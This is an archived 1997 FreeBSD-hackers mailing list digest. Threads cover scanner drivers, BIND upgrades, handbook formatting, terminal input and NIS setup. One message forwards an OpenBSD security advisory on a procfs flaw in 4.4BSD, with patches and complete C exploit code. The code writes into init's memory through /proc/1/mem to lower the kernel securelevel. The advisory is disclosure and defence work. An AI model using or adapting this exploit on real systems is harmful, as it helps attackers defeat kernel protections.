Wed, 25 Jun 1997 14:59:54 +0930 (CST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Andrew Atrens stands accused of saying: > > Now, Logitech appears to have two models to choose from. The newest model > connects via parallel port and communicates via a proprietary protocol with > the PC. The second, older variety has its own ISA card. A partially complete > (alpha quality) linux driver already exists for this beastie. Sounds like the latter would be easiest to work with. > So, to get to the point, I suppose the older model ( the one with > the proprietary ISA card ), would require a (standard) ISA device > driver much like what one of Julian's scripts would produce. BUT the > newer model, requiring only a parallel port connection, would that > need an ISA dev driver, or else a `pseudo device' driver? Or perhaps > just a simple userland program? As I said, this is a *newbie* > question. It depends somewhat on the protocol. If you wanted just to hack at it, you could disable your parallel port driver and use the /dev/io method for talking to the scanner; this _might_ be fast enough. > Regardless, I think I've resigned myself to buying the older model, since > I'm not sure how to begin to reverse-engineer the newer's port protocol. If the protocol is undocumented, you'd have to sit down with a logic analyser and try to work it out. Yuck. The parallel port infrastructure is one of the things I'd like to take a crack at, in that the current arrangement is pretty awful. Having said that, I've found myself swimming in datasheets and documentation wrt. the various "enhanced" parallel port modes trying to work out how to do this right. I still need a copy of ieee 1284 if someone has one... -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Tue Jun 24 23:10:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA03712 for hackers-outgoing; Tue, 24 Jun 1997 23:10:24 -0700 (PDT) Received: from mexico.brainstorm.eu.org (root@mexico.brainstorm.fr [193.56.58.253]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA03702 for ; Tue, 24 Jun 1997 23:10:21 -0700 (PDT) Received: from brasil.brainstorm.eu.org (brasil.brainstorm.fr [193.56.58.33]) by mexico.brainstorm.eu.org (8.8.4/8.8.4) with ESMTP id IAA01556 for ; Wed, 25 Jun 1997 08:10:19 +0200 Received: (from uucp@localhost) by brasil.brainstorm.eu.org (8.8.4/8.6.12) with UUCP id IAA19333 for hackers@FreeBSD.ORG; Wed, 25 Jun 1997 08:09:59 +0200 Received: (from roberto@localhost) by keltia.freenix.fr (8.8.6/keltia-uucp-2.9) id HAA06731; Wed, 25 Jun 1997 07:58:35 +0200 (CEST) Message-ID: <19970625075834.44414@keltia.freenix.fr> Date: Wed, 25 Jun 1997 07:58:34 +0200 From: Ollivier Robert To: hackers@FreeBSD.ORG Subject: Re: bind 4.8.5p1 and 2.2 References: <33AEF42D.794BDF32@whistle.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.76 In-Reply-To: ; from Tom Samplonius on Mon, Jun 23, 1997 at 06:22:46PM -0700 X-Operating-System: FreeBSD 3.0-CURRENT ctm#3392 AMD-K6 MMX @ 208 MHz Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Tom Samplonius: > Except for the release of 4.9.6 will happen soon, and it should go into > 2.2 ASAP, because it fixes some phony injection problems. Or we could import 8.1.1 which is out at the same time... -- Ollivier ROBERT -=- FreeBSD: There are no limits -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 3.0-CURRENT #20: Fri Jun 13 00:16:13 CEST 1997 From owner-freebsd-hackers Tue Jun 24 23:28:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA04336 for hackers-outgoing; Tue, 24 Jun 1997 23:28:50 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id XAA04322 for ; Tue, 24 Jun 1997 23:28:44 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wglWF-0000B5-00; Tue, 24 Jun 1997 23:25:31 -0700 Date: Tue, 24 Jun 1997 23:25:30 -0700 (PDT) From: Tom Samplonius To: Ollivier Robert cc: hackers@freebsd.org Subject: Re: bind 4.8.5p1 and 2.2 In-Reply-To: <19970625075834.44414@keltia.freenix.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 25 Jun 1997, Ollivier Robert wrote: > According to Tom Samplonius: > > Except for the release of 4.9.6 will happen soon, and it should go into > > 2.2 ASAP, because it fixes some phony injection problems. > > Or we could import 8.1.1 which is out at the same time... > -- > Ollivier ROBERT -=- FreeBSD: There are no limits -=- roberto@keltia.freenix.fr > FreeBSD keltia.freenix.fr 3.0-CURRENT #20: Fri Jun 13 00:16:13 CEST 1997 You mean already out. Both were released yesterday. Tom From owner-freebsd-hackers Tue Jun 24 23:30:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA04456 for hackers-outgoing; Tue, 24 Jun 1997 23:30:09 -0700 (PDT) Received: from cheops.anu.edu.au (avalon@cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA04410; Tue, 24 Jun 1997 23:29:59 -0700 (PDT) Message-Id: <199706250629.XAA04410@hub.freebsd.org> Received: by cheops.anu.edu.au (1.37.109.16/16.2) id AA271599722; Wed, 25 Jun 1997 16:22:02 +1000 From: Darren Reed Subject: [ADVISORY] 4.4BSD Securelevels (fwd) To: security@freebsd.org, hackers@freebsd.org Date: Wed, 25 Jun 1997 16:22:01 +1000 (EST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In some mail from Thomas H. Ptacek, sie said: > From owner-bugtraq@NETSPACE.ORG Wed Jun 25 15:04:04 EST 1997 > Approved-By: aleph1@UNDERGROUND.ORG > X-Mailer: ELM [version 2.4 PL24 ME8a] > Content-Type: text > Message-Id: <199706242349.SAA15385@enteract.com> > Date: Tue, 24 Jun 1997 18:49:44 -0500 > Reply-To: tqbf@enteract.com > Sender: Bugtraq List > From: "Thomas H. Ptacek" > Subject: [ADVISORY] 4.4BSD Securelevels > To: BUGTRAQ@NETSPACE.ORG > > ---------------------------------------------------------------------------- > > OpenBSD Security Advisory > > June 24, 1997 > > Vulnerability in 4.4BSD procfs > > ---------------------------------------------------------------------------- > > SYNOPSIS > > A vulnerability in the 4.4BSD process filesystem allows arbitrary > processes to lower the system securelevel, subverting security measures > that rely on this setting. This problem can affects the filesystem > "immutable" flag, and may allow intruders to modify the running kernel. > > ---------------------------------------------------------------------------- > > AFFECTED SYSTEMS > > It is believed that all 4.4BSD operating systems are currently vulnerable > to this problem. A lack of BSDI source code prevents us from verifying > it's applicability to that operating system. > > Systems known to be currently vulnerable include: > > OpenBSD 2.0 and OpenBSD 2.1 (the OpenBSD project has resolved this > problem in OpenBSD-current). > > All currently available versions of FreeBSD (the FreeBSD project has > resolved this problem in FreeBSD-current). > > All currently available versions of NetBSD. > > ---------------------------------------------------------------------------- > > DETAILS > > Certain security measures in the 4.4BSD kernel rely on a variable called > the "securelevel", which is intended to allow the system to run with > heightened security after initializations that may require extra > flexibility. Mechanisms that rely on the securelevel are inactive until > the securelevel is raised to a nonzero value. > > The securelevels system relies on the fact that no user on the system, > including the superuser, can lower the variable after it has been raised. > This allows securelevels to be used to implement protections in the kernel > against a compromised superuser account. A commonly-used example is > the filesystem "immutable" flag, which prevents flagged files from being > modified by anyone on the system, including the superuser. > > The process of transitioning the system into single-user mode from > multi-user mode involves several functions that require enhanced access > to system internals. Because of this, the "init" process has the exclusive > ability to decrease the system securelevel to facilitate this process. In > recognition of this, in-kernel process-level debugging utilities, such as > the ptrace() system call, do not function on the "init" process. > > The 4.4BSD process filesystem presents a filesystem perspective to the > process table. Process information tools such as "ps" can read the process > filesystem information as directories and files, instead of digging > through kernel memory directly. Additionally, process debugging tools can > use procfs to modify running processes. Like ptrace(), the procfs code has > recently been modified to prevent the subversion of the running init > process. > > Unfortunately, a vulnerability in the procfs code remains which allows a > user with superuser credentials to modify the running init process and > force it to reduce the system securelevel. Although the "attach" command, > which is the procfs equivalent to the "attach" interface provided by > ptrace(), is disallowed on the init process, write access to the virtual > memory of the init process remains enabled. Modification to the running > init process image can be used to subvert the process. > > ---------------------------------------------------------------------------- > > TECHNICAL INFORMATION > > The 4.4BSD process filesystem describes each process with a series of > files, including "status", which provides the process status, "regs", > which details the register set of the process, "mem", which provides > access to the memory image of the process, and "ctl", which provides an > interface to process control. The procfs vulnerability described in this > advisory exploits the "mem" process description file. > > By opening the "mem" file of the running init process up in a write mode, > the virtual memory image of the init process can be modified. This access > can be used to alter the executable code of the running process in it's > text segment. > > This can easily be exploited to reduce the securelevel of the system by > altering code in init that already involves modification of the > securelevel. One place where this occurs is within the "multi_user()" > routine, which sets the securelevel to "1" upon entry (expressing the > default behavior of running with securelevels enabled after initializing > the system). > > The relevant code is: > > if(getsecuritylevel() == 0) > setsecuritylevel(1); > > By excercising write access to the text of the init process, that code can > be altered to set the securelevel to 0 by modifying two bytes of > executable code - one two cause the "if" conditional to evaluate true > after the system has entered multi-user mode, and one to alter the value > passed to "setsecuritylevel" from "1" to "0", affecting a reduction in > the system securelevel. > > The newly modified code now reads: > > if(getsecuritylevel() != 0) > setsecuritylevel(0); > > The init program is a finite state machine driven by function pointers. > The program can be forced to call multi_user() by setting a function > pointer (using the "mem" file again) to the address of this routine. The > next time "init" changes state, it will call multi_user() and reduce the > securelevel. > > ---------------------------------------------------------------------------- > > RESOLUTION > > Two immediate fixes are available to this problem. The first resolves the > specific problem presented by the procfs interface, and the second > prevents "init" from being able to lower the securelevel at all, resolving > the more general problem presented by making "init" a target for > compromising the kernel. > > A workaround to the problem is simply to disable the procfs filesystem in > your kernel binary, by not specifying it in the kernel config file, > reconfiguring the kernel, rebuilding it, and rebooting off the new kernel. > This will reduce the functionality of process debugging tools. > > The procfs fix involves a modification to sys/miscfs/procfs_subr.c, which > implements the procfs_write() vnode interface. By causing the procfs_rw() > routine to fail when the affected process ID is "1", "init" is now > safeguarded against modification from the process filesystem. > > An OpenBSD fix to the problem is provided at the end of this document. > > The "init" securelevel fix involves a modification to sys/kern/kern_mib.c, > where the "sysctl" interface to the "securelevel" variable is implemented. > By causing this interface to fail at all times when the request attempts > to reduce the securelevel, "init" is prevented from compromising the > system. > > The latter fix may reduce functionality on the system and is not > recommended for installations that require the ability to perform > extensive single-user mode operations after bringing the system into > single-user mode. > > An OpenBSD fix to the problem is provided at the end of this document. > > ---------------------------------------------------------------------------- > > CREDITS > > The OpenBSD development team would like to express it's gratitude to Alex > Nash, for alerting us to this problem, as well as for providing the > FreeBSD patch; to Theo de Raadt, for providing the OpenBSD procfs patch; > and to Tim Newsham, for providing proof-of-concept code. > > The developers at OpenBSD would also like to indicate their appreciation > of FreeBSD's rapid resolution of this problem. > > ---------------------------------------------------------------------------- > > OPENBSD PATCHES > > To prevent the process filesystem from enabling the superuser to modify > the running init image, apply the following patch to your OpenBSD kernel. > > ----- cut here ----- > > *** sys/miscfs/procfs/procfs_subr.c Tue Jun 24 15:56:02 1997 > --- sys-old/miscfs/procfs/procfs_subr.c Tue Jun 24 15:55:06 1997 > *************** > *** 1,3 **** > ! /* $OpenBSD: procfs_subr.c,v 1.5 1997/04/06 07:00:14 millert Exp $ */ > /* $NetBSD: procfs_subr.c,v 1.15 1996/02/12 15:01:42 christos Exp $ */ > > --- 1,3 ---- > ! /* $OpenBSD: procfs_subr.c,v 1.6 1997/06/21 12:19:45 deraadt Exp $ */ > /* $NetBSD: procfs_subr.c,v 1.15 1996/02/12 15:01:42 christos Exp $ */ > > *************** > *** 222,225 **** > --- 222,228 ---- > if (p == 0) > return (EINVAL); > + /* Do not permit games to be played with init(8) */ > + if (p->p_pid == 1 && securelevel > 0 && uio->uio_rw == UIO_WRITE) > + return (EPERM); > > switch (pfs->pfs_type) { > > ----- cut here ----- > > To prevent "init" from being able to decrease the system securelevel, > apply the following patch to your OpenBSD kernel. > > ----- cut here ----- > > *** kern_sysctl.c.orig Tue Jun 24 17:28:52 1997 > --- kern_sysctl.c Tue Jun 24 17:29:37 1997 > *************** > *** 238,242 **** > return (error); > if ((securelevel > 0 || level < -1) > ! && level < securelevel && p->p_pid != 1) > return (EPERM); > securelevel = level; > --- 238,242 ---- > return (error); > if ((securelevel > 0 || level < -1) > ! && level < securelevel) > return (EPERM); > securelevel = level; > > ----- cut here ----- > > ---------------------------------------------------------------------------- > > DEMONSTRATION CODE > > The following code will compile and run on any 4.4BSD system. However, it > relies on offsets into the memory image of the init process that may > change from OS to OS, and from compilation to compilation. Attempting to > run this program on an operating system other than the one for which it > was intended will corrupt the text of the init process, and probably cause > your system to crash. Use caution when attempting to use this program to > assess your vulnerability. > > After successfully running the program, the next init state transition > will result in the system securelevel being reduced to "0". > > The offsets in this program were gained from using "gdb" on a > newly-compiled "init" binary with an intact symbol table. The address of > the "multi_user()" function is available with: > > % info address multi_user > > The address of the "requested_transition" function pointer is available > with: > > % info address requested_transition > > The address of the two modified instruction within that binary (the JE > instruction that causes the multi_user() conditional to fail, and the > argument to the PUSH instruction which indicates the new securelevel > setting) are available with: > > % disassemble multi_user > > ----- cut here ----- > > /* FreeBSD 3.0 /sbin/init / procfs securelevel exploit */ > > #include > #include > #include > > /* these offsets are for FreeBSD 3.0 /sbin/init. Incorrect offsets > * will cause your system to crash. > */ > > /* offset to the beginning of the multi_user() routine */ > * OpenBSD: 0x2eb4 > */ > > #define MULTI_USER_ROUTINE 0x27f8 > > /* offset of the JNE instruction in multi_user() */ > * OpenBSD: 0x2eb4 + 21 > */ > > #define EVALUATE_TRUE (0x27f8 + 21) > > /* offset of the argument to the PUSH instruction */ > * OpenBSD: 0x2eb4 + 24 > */ > > #define SET_TO_ZERO (0x27f8 + 24) > > /* offset of the "requested_transition" variable */ > * OpenBSD: 0x290b8 > */ > > #define TRANSITION_TO_MULTI_USER 0x2f0a0 > > #define INIT_MEMORY_FILE "/proc/1/mem" > > /* invariant */ > > #define JNE 0x74 > > extern int errno; > > int main(int argc, char **argv) { > int init_mem; > char c; > int i; > > /* access init's virtual memory image */ > > init_mem = open(INIT_MEMORY_FILE, O_RDWR); > if(init_mem < 0) { > perror("open"); > exit(errno); > } > > c = JNE; > > /* change == to != (JE to JNE) */ > > lseek(init_mem, EVALUATE_TRUE, SEEK_SET); > write(init_mem, &c, 1); > > c = 0x0; > > /* change 1 to 0 */ > > lseek(init_mem, SET_TO_ZERO, SEEK_SET); > write(init_mem, &c, 1); > > /* change next state transition to multi_user */ > > i = MULTI_USER_ROUTINE; > lseek(init_mem, TRANSITION_TO_MULTI_USER, SEEK_SET); > write(init_mem, &i, 4); > > close(init_mem); > > /* force an init state transition */ > > if(!fork()) > exit(0) > > usleep(10000); > > exit(0); > } > > ----- cut here ----- > > ---------------------------------------------------------------------------- > From owner-freebsd-hackers Tue Jun 24 23:31:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA04557 for hackers-outgoing; Tue, 24 Jun 1997 23:31:25 -0700 (PDT) Received: from andrsn.stanford.edu (root@andrsn.Stanford.EDU [36.33.0.163]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA04552 for ; Tue, 24 Jun 1997 23:31:22 -0700 (PDT) Received: from localhost (andrsn@localhost.Stanford.EDU [127.0.0.1]) by andrsn.stanford.edu (8.8.5/8.6.12) with SMTP id XAA24790; Tue, 24 Jun 1997 23:31:18 -0700 (PDT) Date: Tue, 24 Jun 1997 23:31:17 -0700 (PDT) From: Annelise Anderson To: "Daniel C. Sobral" cc: hackers@FreeBSD.ORG Subject: Re: handbook.ascii In-Reply-To: <199706241509.MAA00861@gns.com.br> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 24 Jun 1997, Daniel C. Sobral wrote: > Annelise is suggesting that the main target of handbook.ascii are > Win95 users (with Laserjet/Deskjet printers, obviously). In which I > agree. Yes, exactly. > > Thus, this file should be targetted at what they have: edit, DOS' > more, notepad, Word 7.0 and similar programs. That's the whole point > of using a stripped down format: so everyone can read. Read (on the screen) and print. (The FAQ and the handbook should be relatively tolerant of bad hardware, buggy software, and user ignorance and error, I think.) > > There aren't any ^H characters in the file, as far as I can tell. > > A hex dump shows all the duplicate letters. > > Have you downloaded these files using ftp in ascii mode, by any > chance? Because the handbook.ascii I have here has all BS characters. Yes, ascii, but with lynx or Netscape (ftp ascii seems to preserve the BS characters). It did not occur to me that a file that claimed to be plain text and had a .ascii extension needed to be downloaded in binary mode or at least by ftp. With or without the BS characters, it makes for difficult reading. Some of the characters (the soft hyphen and the bullet character marking paragraphs are two I'm aware of) will show up incorrectly since this is in the latin1 character set, and dos/Windows uses by default code page (character set) 437 (850 in Europe and Canada), which isn't the same as iso-latin-8859-1. (So will FreeBSD, unless it's explicitly changed.) The printing will also be incorrect in places unless the printer has an 8859-1 character set and is told to use it, or substitutions are made first. Quite a gaunlet to run for a potential new user. Annelise From owner-freebsd-hackers Tue Jun 24 23:52:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA05430 for hackers-outgoing; Tue, 24 Jun 1997 23:52:08 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id XAA05412 for ; Tue, 24 Jun 1997 23:52:03 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA00751; Wed, 25 Jun 1997 08:52:01 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id IAA06941; Wed, 25 Jun 1997 08:50:08 +0200 (MET DST) Message-ID: <19970625085007.ZX52176@uriah.heep.sax.de> Date: Wed, 25 Jun 1997 08:50:07 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG ('freebsd-hackers@freebsd.org') Cc: MSAYER@cuscal.com.au (MARK SAYER) Subject: Re: BSD io References: <199706250208.TAA23288@hub.freebsd.org> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199706250208.TAA23288@hub.freebsd.org>; from MARK SAYER on Jun 25, 1997 12:07:47 +1000 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As MARK SAYER wrote: > I have been looking for this for ages. I resorted to using ncurses, but > then I was stuck with using ncurses window management (yuk). So, I tried > the code below and it doesn't seem to work as promised. I just want the > program to trap 1 keypress and continue execution. Who promised this program to work? > new.c_iflag &=~(ICANON|ECHO); new.c_lflag &= ~(ICANON | ECHO | IEXTEN); /* consider ISIG etc., too */ ...and it works. Also, you should probably do: new.c_cc[VMIN] = 1; new.c_cc[VTIME] = 0; to specify your wishes explicitly. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Tue Jun 24 23:56:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA05888 for hackers-outgoing; Tue, 24 Jun 1997 23:56:37 -0700 (PDT) Received: from verdi.nethelp.no (verdi.nethelp.no [195.1.171.130]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id XAA05866 for ; Tue, 24 Jun 1997 23:56:32 -0700 (PDT) From: sthaug@nethelp.no Received: (qmail 20946 invoked by uid 1001); 25 Jun 1997 06:56:15 +0000 (GMT) To: roberto@keltia.freenix.fr Cc: hackers@FreeBSD.ORG Subject: Re: bind 4.8.5p1 and 2.2 In-Reply-To: Your message of "Wed, 25 Jun 1997 07:58:34 +0200" References: <19970625075834.44414@keltia.freenix.fr> X-Mailer: Mew version 1.05+ on Emacs 19.28.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Wed, 25 Jun 1997 08:56:15 +0200 Message-ID: <20944.867221775@verdi.nethelp.no> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Except for the release of 4.9.6 will happen soon, and it should go into > > 2.2 ASAP, because it fixes some phony injection problems. > > Or we could import 8.1.1 which is out at the same time... Yes, both 4.9.6 and 8.1.1 are out now. They both fix the phony injection problem shown by http://apostols.org/toolz/dnshack.cgi. I'm running 8.1.1 on my home machine and several (non FreeBSD) machines at work, and 8.1.1 works just great. I still think that it's a bit early to import it as the standard FreeBSD named. If you were to do this, I think you'd need to include as a minimum a big WARNING that the configuration file has changed dramatically, and an automatic conversion of any existing named.boot files. (Yes, I know named-bootconf.pl exists - but it's not run automatically as part of the installation.) Steinar Haug, Nethelp consulting, sthaug@nethelp.no From owner-freebsd-hackers Wed Jun 25 00:01:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA06211 for hackers-outgoing; Wed, 25 Jun 1997 00:01:29 -0700 (PDT) Received: from andrsn.stanford.edu (root@andrsn.Stanford.EDU [36.33.0.163]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA06205 for ; Wed, 25 Jun 1997 00:01:22 -0700 (PDT) Received: from localhost (andrsn@localhost.Stanford.EDU [127.0.0.1]) by andrsn.stanford.edu (8.8.5/8.6.12) with SMTP id AAA24914; Wed, 25 Jun 1997 00:01:19 -0700 (PDT) Date: Wed, 25 Jun 1997 00:01:18 -0700 (PDT) From: Annelise Anderson To: "Daniel C. Sobral" cc: hackers@FreeBSD.ORG Subject: Re: handbook.ascii In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 24 Jun 1997, Annelise Anderson wrote: > Some of the characters (the soft hyphen and the bullet character > marking paragraphs are two I'm aware of) will show up incorrectly > since this is in the latin1 character set, and dos/Windows uses by Sorry, this is wrong, it these versions aren't in latin1. Annelise From owner-freebsd-hackers Wed Jun 25 00:09:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA06534 for hackers-outgoing; Wed, 25 Jun 1997 00:09:50 -0700 (PDT) Received: from csd.cs.technion.ac.il (csd.cs.technion.ac.il [132.68.32.8]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id AAA06527 for ; Wed, 25 Jun 1997 00:09:40 -0700 (PDT) Received: from localhost (nadav@localhost) by csd.cs.technion.ac.il (8.6.11/8.6.10) with SMTP id KAA20627; Wed, 25 Jun 1997 10:09:16 +0300 X-Authentication-Warning: csd.cs.technion.ac.il: nadav owned process doing -bs Date: Wed, 25 Jun 1997 10:09:16 +0300 (IDT) From: Nadav Eiron X-Sender: nadav@csd To: Chuck Robey cc: FreeBSD-Hackers Subject: Re: NIS In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 24 Jun 1997, Chuck Robey wrote: [snip] > Clarifying: I see how the maps gets built on the master, first time, but > once yppasswd changes some user's passwd, then the source files are out of > date. How do they get updated? rpc.yppasswdd takes care of that. From it's man page: (man 8 rpc.yppasswdd) rpc.yppasswdd is an RPC-based server that accepts incoming password change requests, authenticates them, places the updated information in the /var/yp/master.passwd template file and then updates the NIS master.passwd ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ and passwd maps. > > ----------------------------+----------------------------------------------- > Chuck Robey | Interests include any kind of voice or data > chuckr@eng.umd.edu | communications topic, C programming, and Unix. > 213 Lakeside Drive Apt T-1 | > Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD > (301) 220-2114 | version 3.0 current -- and great FUN! > ----------------------------+----------------------------------------------- > > Hope this helps, Nadav From owner-freebsd-hackers Wed Jun 25 00:44:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA08002 for hackers-outgoing; Wed, 25 Jun 1997 00:44:12 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id AAA07954 for ; Wed, 25 Jun 1997 00:44:02 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA01077 for hackers@FreeBSD.ORG; Wed, 25 Jun 1997 09:43:30 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id JAA07134; Wed, 25 Jun 1997 09:23:16 +0200 (MET DST) Message-ID: <19970625092316.LE30128@uriah.heep.sax.de> Date: Wed, 25 Jun 1997 09:23:16 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: libedit, etc. (CVS issues) References: <199706250453.VAA08237@lestat.nas.nasa.gov> <199706250524.OAA28799@genesis.atrad.adelaide.edu.au> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199706250524.OAA28799@genesis.atrad.adelaide.edu.au>; from Michael Smith on Jun 25, 1997 14:54:28 +0930 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Michael Smith wrote: > Final question; should I add $Id$ strings to these files as they're > changed? Yes. They will probably be converted into $FreeBSD$ some day, but they should be there to track possible own modifications. The $NetBSD$'s are useful to see which version it came from (so once the NetBSD people opened their CVS, you could make cvs diffs ;-). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Wed Jun 25 01:08:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA09093 for hackers-outgoing; Wed, 25 Jun 1997 01:08:27 -0700 (PDT) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA09086 for ; Wed, 25 Jun 1997 01:08:21 -0700 (PDT) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.5/8.8.5) id BAA00712; Wed, 25 Jun 1997 01:06:19 -0700 (PDT) Message-ID: <19970625010619.04305@hydrogen.nike.efn.org> Date: Wed, 25 Jun 1997 01:06:19 -0700 From: John-Mark Gurney To: Chuck Robey Cc: FreeBSD-Hackers Subject: Re: NIS References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: ; from Chuck Robey on Tue, Jun 24, 1997 at 11:42:19PM -0400 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Chuck Robey scribbled this message on Jun 24: > I have been reading about NIS, trying to come to grips with it all, but I > haven't been able to com eup with an answer to one last stumbling block. > Maybe someone here knows what I don't ... > > I'm trying to figure out a flexible and reliable setup for a small ISP > that has maybe 5 machines. What I would ideally like is to have a main > server, have the database on that server duplicated on a second machine > just in case the first machine has to go down for maintenance (or some > catastrophe), and the rest of the machines be slaves. I'm particularly > interested in the passwd map. actually.. FreeBSD's NIS implementation is quite secure... as long as you know your wires are secure there shouldn't be any problems... > What I don't understand is how the passwd maps can get converted into the > passwd file and the mater.passwd file, so they could be duplilcated, both > on the main server and the secondary server. I think I understand how ok.. to get NIS working, you need to add a line like: +::::::::: to your master.passwd on each machine that you want to bring in users from NIS... this will tell the libc code that does user lookup to also search nis info... > yp_mkdb makes the nis maps, but I don't see how the source files for the > maps get updated. I know this isn't terribly important for files other > than passwd, but it's passwd that I'm interested in. I want to have the > master.passwd and passwd files on the server right up to date, and the > same files on the backup server fairly close, say, no more than several > hours out of date. I could just move the files occaisonally from the > server to a backup dir on the slave server, but I don't see how they ever > get built at all on the master. no.. you don't need to do this... the password maps can automaticly be transfered when they are updated... there are a number of ways you can use nis.. a) the machine is a consumer, that means each time it does a user look up that it will go to a nis server to obtain the user's info, my terminal server does this. b) the machine is just a server. it will answer nis requests but won't use it for local authentication. c) the machine is both a consumer and a server... this means that when nis does lookups, it doesn't have to look farther than the local machine. there will have to be one MASTER server that contains all the orignal files and this is the server that distributes the information to the other servers (and possibly clients)... > Clarifying: I see how the maps gets built on the master, first time, but > once yppasswd changes some user's passwd, then the source files are out of > date. How do they get updated? the yppasswd proccess should automaticly run make in /var/yp which will update the new maps and distribute them to the servers (if you have any secondary servers)... just a bit of info... in /var/yp there are a few files you will need... ypservers: list of servers that the maps need to be sent to sercurenets: these are the networks/machines that are allowed to make connections to. master.passwd: this is the master.passwd file that all the maps are built from. 